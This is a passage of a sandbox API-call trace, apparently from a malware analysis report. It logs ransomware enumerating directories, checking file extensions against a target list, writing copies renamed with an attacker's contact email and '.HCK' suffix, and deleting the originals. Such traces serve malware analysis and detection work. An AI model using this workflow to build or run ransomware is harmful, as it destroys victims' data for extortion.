Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0246.825] GetLastError () returned 0x0 [0246.825] ReadFile (in: hFile=0x36c, lpBuffer=0x3a93020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x3a93020*, lpNumberOfBytesRead=0x2eafecc*=0x65e6, lpOverlapped=0x0) returned 1 [0246.828] WriteFile (in: hFile=0x378, lpBuffer=0x3a93020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x3a93020*, lpNumberOfBytesWritten=0x2eafc94*=0x65f0, lpOverlapped=0x0) returned 1 [0246.829] ReadFile (in: hFile=0x36c, lpBuffer=0x3a93020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x3a93020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0246.829] WriteFile (in: hFile=0x378, lpBuffer=0x3a93020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x3a93020*, lpNumberOfBytesWritten=0x2eafc94*=0xec, lpOverlapped=0x0) returned 1 [0246.829] SetEndOfFile (hFile=0x378) returned 1 [0246.830] CloseHandle (hObject=0x378) returned 1 [0246.830] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0246.830] SetEndOfFile (hFile=0x36c) returned 1 [0246.830] CloseHandle (hObject=0x36c) returned 1 [0246.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0246.831] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 1 [0246.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0246.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0246.832] lstrlenW (lpString=".doc") returned 4 [0246.832] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.832] lstrlenW (lpString=".docx") returned 5 [0246.832] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0246.832] lstrlenW (lpString=".pdf") returned 4 [0246.832] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.832] lstrlenW (lpString=".xls") returned 4 [0246.832] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.832] lstrlenW (lpString=".xlsx") returned 5 [0246.832] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0246.832] lstrlenW (lpString=".ppt") returned 4 [0246.832] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0246.832] lstrlenW (lpString=".zip") returned 4 [0246.832] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.832] lstrlenW (lpString=".rar") returned 4 [0246.832] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.832] lstrlenW (lpString=".bz2") returned 4 [0246.832] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.832] lstrlenW (lpString=".7z") returned 3 [0246.832] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0246.832] lstrlenW (lpString=".dbf") returned 4 [0246.832] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0246.832] lstrlenW (lpString=".1cd") returned 4 [0246.832] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0246.832] lstrlenW (lpString=".jpg") returned 4 [0246.832] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0246.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0246.832] lstrlenW (lpString=".doc") returned 4 [0246.832] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.832] lstrlenW (lpString=".docx") returned 5 [0246.832] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0246.832] lstrlenW (lpString=".pdf") returned 4 [0246.832] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.832] lstrlenW (lpString=".xls") returned 4 [0246.832] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.832] lstrlenW (lpString=".xlsx") returned 5 [0246.832] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0246.832] lstrlenW (lpString=".ppt") returned 4 [0246.832] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0246.832] lstrlenW (lpString=".zip") returned 4 [0246.833] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.833] lstrlenW (lpString=".rar") returned 4 [0246.833] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.833] lstrlenW (lpString=".bz2") returned 4 [0246.833] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.833] lstrlenW (lpString=".7z") returned 3 [0246.833] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0246.833] lstrlenW (lpString=".dbf") returned 4 [0246.833] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0246.833] lstrlenW (lpString=".1cd") returned 4 [0246.833] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0246.833] lstrlenW (lpString=".jpg") returned 4 [0246.833] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 Thread: id = 376 os_tid = 0xee8 [0245.444] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x39a0720 [0245.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x39b0728 [0245.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e558 [0245.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6) returned 0x5bc9e8 [0245.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e768 [0245.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100000) returned 0x3ba5020 [0245.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e7f8 [0245.447] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57e7f8, Size=0x20) returned 0x55ebd8 [0245.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e5b8 [0245.447] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57e5b8, Size=0x20) returned 0x55eb88 [0245.447] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0245.447] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0245.448] Wow64DisableWow64FsRedirection (in: OldValue=0x2feff50 | out: OldValue=0x2feff50*=0x0) returned 1 [0245.448] lstrlenW (lpString="kernel32.dll") returned 12 [0245.448] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ebd8 | out: hHeap=0x520000) returned 1 [0245.448] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0245.448] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55eb88 | out: hHeap=0x520000) returned 1 [0245.448] Sleep (dwMilliseconds=0x64) [0245.654] Sleep (dwMilliseconds=0x64) [0245.856] Sleep (dwMilliseconds=0x64) [0246.160] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0246.160] lstrlenW (lpString="J0099150.JPG") returned 12 [0246.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0246.161] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=21914) returned 1 [0246.161] CloseHandle (hObject=0x36c) returned 1 [0246.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 0x220 [0246.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0246.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0246.833] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0246.833] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0246.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0246.834] GetLastError () returned 0x0 [0246.834] ReadFile (in: hFile=0x35c, lpBuffer=0x3ba5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ba5020*, lpNumberOfBytesRead=0x2fefecc*=0x559a, lpOverlapped=0x0) returned 1 [0246.837] WriteFile (in: hFile=0x36c, lpBuffer=0x3ba5020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ba5020*, lpNumberOfBytesWritten=0x2fefc94*=0x55a0, lpOverlapped=0x0) returned 1 [0246.838] ReadFile (in: hFile=0x35c, lpBuffer=0x3ba5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ba5020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0246.838] WriteFile (in: hFile=0x36c, lpBuffer=0x3ba5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ba5020*, lpNumberOfBytesWritten=0x2fefc94*=0xec, lpOverlapped=0x0) returned 1 [0246.838] SetEndOfFile (hFile=0x36c) returned 1 [0246.838] CloseHandle (hObject=0x36c) returned 1 [0246.838] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0246.838] SetEndOfFile (hFile=0x35c) returned 1 [0246.839] CloseHandle (hObject=0x35c) returned 1 [0246.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0246.839] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 1 [0246.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0246.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0246.839] lstrlenW (lpString=".doc") returned 4 [0246.839] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0246.839] lstrlenW (lpString=".docx") returned 5 [0246.840] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0246.840] lstrlenW (lpString=".pdf") returned 4 [0246.840] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0246.840] lstrlenW (lpString=".xls") returned 4 [0246.840] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0246.840] lstrlenW (lpString=".xlsx") returned 5 [0246.840] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0246.840] lstrlenW (lpString=".ppt") returned 4 [0246.840] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0246.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0246.840] lstrlenW (lpString=".zip") returned 4 [0246.840] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0246.840] lstrlenW (lpString=".rar") returned 4 [0246.840] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0246.840] lstrlenW (lpString=".bz2") returned 4 [0246.840] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0246.840] lstrlenW (lpString=".7z") returned 3 [0246.840] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0246.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0246.840] lstrlenW (lpString=".dbf") returned 4 [0246.840] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0246.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0246.840] lstrlenW (lpString=".1cd") returned 4 [0246.840] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0246.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0246.840] lstrlenW (lpString=".jpg") returned 4 [0246.840] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0246.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0246.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0246.840] lstrlenW (lpString=".doc") returned 4 [0246.840] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0246.840] lstrlenW (lpString=".docx") returned 5 [0246.840] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0246.840] lstrlenW (lpString=".pdf") returned 4 [0246.840] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0246.840] lstrlenW (lpString=".xls") returned 4 [0246.840] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0246.840] lstrlenW (lpString=".xlsx") returned 5 [0246.840] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0246.840] lstrlenW (lpString=".ppt") returned 4 [0246.840] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0246.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0246.840] lstrlenW (lpString=".zip") returned 4 [0246.840] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0246.840] lstrlenW (lpString=".rar") returned 4 [0246.840] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0246.840] lstrlenW (lpString=".bz2") returned 4 [0246.840] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0246.840] lstrlenW (lpString=".7z") returned 3 [0246.840] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0246.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0246.840] lstrlenW (lpString=".dbf") returned 4 [0246.841] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0246.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0246.841] lstrlenW (lpString=".1cd") returned 4 [0246.841] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0246.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0246.841] lstrlenW (lpString=".jpg") returned 4 [0246.841] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 Thread: id = 377 os_tid = 0xeec [0245.448] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x39c1010 [0245.448] lstrlenW (lpString="C:") returned 2 [0245.448] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x312fcf8 | out: lpFindFileData=0x312fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77000000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x53a1d8 [0245.448] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0245.448] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0245.448] lstrlenW (lpString="$GetCurrent") returned 11 [0245.449] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0245.449] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x39d1018 [0245.449] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0245.449] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x53a218 [0245.449] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0245.449] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0245.449] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0245.449] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0245.450] lstrlenW (lpString="Logs") returned 4 [0245.450] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0245.450] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x39e1020 [0245.450] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0245.450] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x312f800 | out: lpFindFileData=0x312f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe6ff, dwReserved1=0x6fd, cFileName=".", cAlternateFileName="")) returned 0x53a7d8 [0245.451] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312f800 | out: lpFindFileData=0x312f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe6ff, dwReserved1=0x6fd, cFileName="..", cAlternateFileName="")) returned 1 [0245.451] FindNextFileW (in: hFindFile=0x53a7d8, lpFindFileData=0x312f800 | out: lpFindFileData=0x312f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa29fdc3e, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa29fdc3e, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2a23ca4, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0xffffe6ff, dwReserved1=0x6fd, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="DOWNLE~1.HCK")) returned 1 [0245.451] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[cavefat@tuta.io].HCK") returned 71 [0245.451] lstrlenW (lpString=".1cd") returned 4 [0245.451] lstrcmpiW (lpString1=".1cd", lpString2=".HCK") returned -1 [0245.451] lstrlenW (lpString=".3ds") returned 4 [0245.451] lstrcmpiW (lpString1=".3ds", lpString2=".HCK") returned -1 [0245.451] lstrlenW (lpString=".3fr") returned 4 [0245.451] lstrcmpiW (lpString1=".3fr", lpString2=".HCK") returned -1 [0245.451] lstrlenW (lpString=".3g2") returned 4 [0245.451] lstrcmpiW (lpString1=".3g2", lpString2=".HCK") returned -1 [0245.451] lstrlenW (lpString=".3gp") returned 4 [0245.451] lstrcmpiW (lpString1=".3gp", lpString2=".HCK") returned -1 [0245.451] lstrlenW (lpString=".7z") returned 3 [0245.451] lstrcmpiW (lpString1=".7z", lpString2="HCK") returned -1 [0245.451] lstrlenW (lpString=".accda") returned 6 [0245.451] lstrcmpiW (lpString1=".accda", lpString2="o].HCK") returned -1 [0245.451] lstrlenW (lpString=".accdb") returned 6 [0245.451] lstrcmpiW (lpString1=".accdb", lpString2="o].HCK") returned -1 [0245.451] lstrlenW (lpString=".accdc") returned 6 [0245.451] lstrcmpiW (lpString1=".accdc", lpString2="o].HCK") returned -1 [0245.451] lstrlenW (lpString=".accde") returned 6 [0245.451] lstrcmpiW (lpString1=".accde", lpString2="o].HCK") returned -1 [0245.451] lstrlenW (lpString=".accdt") returned 6 [0245.451] lstrcmpiW (lpString1=".accdt", lpString2="o].HCK") returned -1 [0245.451] lstrlenW (lpString=".accdw") returned 6 [0245.451] lstrcmpiW (lpString1=".accdw", lpString2="o].HCK") returned -1 [0245.451] lstrlenW (lpString=".adb") returned 4 [0245.452] lstrcmpiW (lpString1=".adb", lpString2=".HCK") returned -1 [0245.452] lstrlenW (lpString=".adp") returned 4 [0245.452] lstrcmpiW (lpString1=".adp", lpString2=".HCK") returned -1 [0245.452] lstrlenW (lpString=".ai") returned 3 [0245.452] lstrcmpiW (lpString1=".ai", lpString2="HCK") returned -1 [0245.452] lstrlenW (lpString=".ai3") returned 4 [0245.452] lstrcmpiW (lpString1=".ai3", lpString2=".HCK") returned -1 [0245.452] lstrlenW (lpString=".ai4") returned 4 [0245.452] lstrcmpiW (lpString1=".ai4", lpString2=".HCK") returned -1 [0245.452] lstrlenW (lpString=".ai5") returned 4 [0245.452] lstrcmpiW (lpString1=".ai5", lpString2=".HCK") returned -1 [0245.452] lstrlenW (lpString=".ai6") returned 4 [0245.452] lstrcmpiW (lpString1=".ai6", lpString2=".HCK") returned -1 [0245.452] lstrlenW (lpString=".ai7") returned 4 [0245.452] lstrcmpiW (lpString1=".ai7", lpString2=".HCK") returned -1 [0245.452] lstrlenW (lpString=".ai8") returned 4 [0245.452] lstrcmpiW (lpString1=".ai8", lpString2=".HCK") returned -1 [0245.452] lstrlenW (lpString=".anim") returned 5 [0245.452] lstrcmpiW (lpString1=".anim", lpString2="].HCK") returned -1 [0245.452] lstrlenW (lpString=".arw") returned 4 [0245.452] lstrcmpiW (lpString1=".arw", lpString2=".HCK") returned -1 [0245.452] lstrlenW (lpString=".as") returned 3 [0245.452] lstrcmpiW (lpString1=".as", lpString2="HCK") returned -1 [0245.452] lstrlenW (lpString=".asa") returned 4 [0245.452] lstrcmpiW (lpString1=".asa", lpString2=".HCK") returned -1 [0245.452] lstrlenW (lpString=".asc") returned 4 [0245.452] lstrcmpiW (lpString1=".asc", lpString2=".HCK") returned -1 [0245.452] lstrlenW (lpString=".ascx") returned 5 [0245.452] lstrcmpiW (lpString1=".ascx", lpString2="].HCK") returned -1 [0245.452] lstrlenW (lpString=".asm") returned 4 [0245.452] lstrcmpiW (lpString1=".asm", lpString2=".HCK") returned -1 [0245.452] lstrlenW (lpString=".asmx") returned 5 [0245.452] lstrcmpiW (lpString1=".asmx", lpString2="].HCK") returned -1 [0245.452] lstrlenW (lpString=".asp") returned 4 [0245.452] lstrcmpiW (lpString1=".asp", lpString2=".HCK") returned -1 [0245.452] lstrlenW (lpString=".aspx") returned 5 [0245.452] lstrcmpiW (lpString1=".aspx", lpString2="].HCK") returned -1 [0245.452] lstrlenW (lpString=".asr") returned 4 [0245.452] lstrcmpiW (lpString1=".asr", lpString2=".HCK") returned -1 [0245.452] lstrlenW (lpString=".asx") returned 4 [0245.452] lstrcmpiW (lpString1=".asx", lpString2=".HCK") returned -1 [0245.452] lstrlenW (lpString=".avi") returned 4 [0245.452] lstrcmpiW (lpString1=".avi", lpString2=".HCK") returned -1 [0245.452] lstrlenW (lpString=".avs") returned 4 [0245.452] lstrcmpiW 